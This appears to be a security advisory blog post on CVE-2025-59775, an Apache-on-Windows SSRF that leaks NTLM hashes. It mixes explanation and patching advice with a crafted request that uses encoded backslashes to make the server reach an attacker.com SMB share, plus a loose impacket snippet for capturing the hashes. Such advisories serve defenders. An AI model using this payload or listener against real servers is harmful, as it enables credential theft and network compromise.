A new critical vulnerability has been identified in the popular Apache HTTP Server software on Windows systems. Tracked as CVE-2025-59775, this issue opens the door for server-side request forgery (SSRF) attacks, enabling attackers to potentially leak sensitive Windows NTLM authentication hashes to malicious servers. This flaw only affects you if you are running Apache with the options AllowEncodedSlashes On and MergeSlashes Off. If you’re a Windows server admin using Apache, read on — this post breaks down how the vulnerability works, provides simple proof-of-concept code, and explains how to protect yourself.
What is CVE-2025-59775? (Simple Explanation)
- SSRF: Server-side request forgery lets an attacker trick a vulnerable server into making requests to internal or external systems, including things not directly exposed to the public.
- In CVE-2025-59775, if your Apache server on Windows has the AllowEncodedSlashes set to On and MergeSlashes set to Off, malicious users can craft special requests. These can make your server connect to attacker-controlled SMB resources, leaking Windows NTLM hashes.
Why Are NTLM Hashes Important?
NTLM hashes can be used by attackers to perform pass-the-hash attacks — they might use them to log in as your users or services, leading to a total compromise of your Windows environment.
Safe Version: 2.4.66 and above
How The Exploit Works
When your Apache server parses incoming requests, it sometimes decodes encoded slashes (%2F and %5C) in ways that allow hackers to break the expected path structure. By carefully crafting URLs with encoded slashes — for example:
http://yourserver.com/proxy/%5C%5Cattacker.com%5Cshare
— the server may interpret this as a Windows network path and attempt to connect, leaking NTLM hashes as part of the authentication handshake.
The attacker sends a specially crafted HTTP request to your Apache web server.
2. The web server, due to its settings, decodes the path and attempts to access a UNC SMB share, e.g., \\malicious.example.com\share.
The attack boils down to this HTTP request (replace attacker.com with the attacker's host)
GET /files/%5c%5cattacker.com%5cshare HTTP/1.1
Host: yourserver.com
If Apache is configured to proxy or fetch files from user-supplied paths (for example, using mod_proxy or mod_rewrite), it could try to resolve this as a Windows UNC path and contact the remote host.
Important: The NTLM handshake/attempt will only be triggered under certain backend file access or proxy configurations. But the potential for SSRF exists any time path input is handled unstably.
Python Script to Capture NTLM Hashes
Assume you control attacker.com. Run this impacket script (as root, with Python and impacket installed) to listen for incoming hash leaks:
from impacket.examples.ntlmrelayx.servers import SMBRelayServer
# Run this on your server:
SMBRelayServer(('...', 445), 'attacker.com').start()
Visit:
impacket/ntlmrelayx
This will listen for incoming SMB requests and print out any NTLM hashes sent by the victim server.
Original References
- Apache HTTP Server 2.4.66 Release Notes / Security
- SSRF Cheat Sheet
- NTLM Hash Capture Example with impacket
How To Fix
Apache patched this issue in version 2.4.66.
All users should upgrade immediately.
Upgrade steps
1. Download latest Apache 2.4.66 from official site
Restart the Apache service.
OR set AllowEncodedSlashes Off or MergeSlashes On unless you *really* need both settings.
Conclusion
If you are running Apache on Windows, and especially if using the legacy NTLM authentication environment, this is a high-risk issue. Attackers can steal hashes simply by making your server try to fetch remote resources via SSRF. Patch now. Don’t let your NTLM hashes walk out the door!
Stay safe and keep your systems updated.
For more technical details, see the full Apache changelog.
Timeline
Published on: 12/05/2025 10:17:03 UTC
Last modified on: 12/10/2025 16:40:04 UTC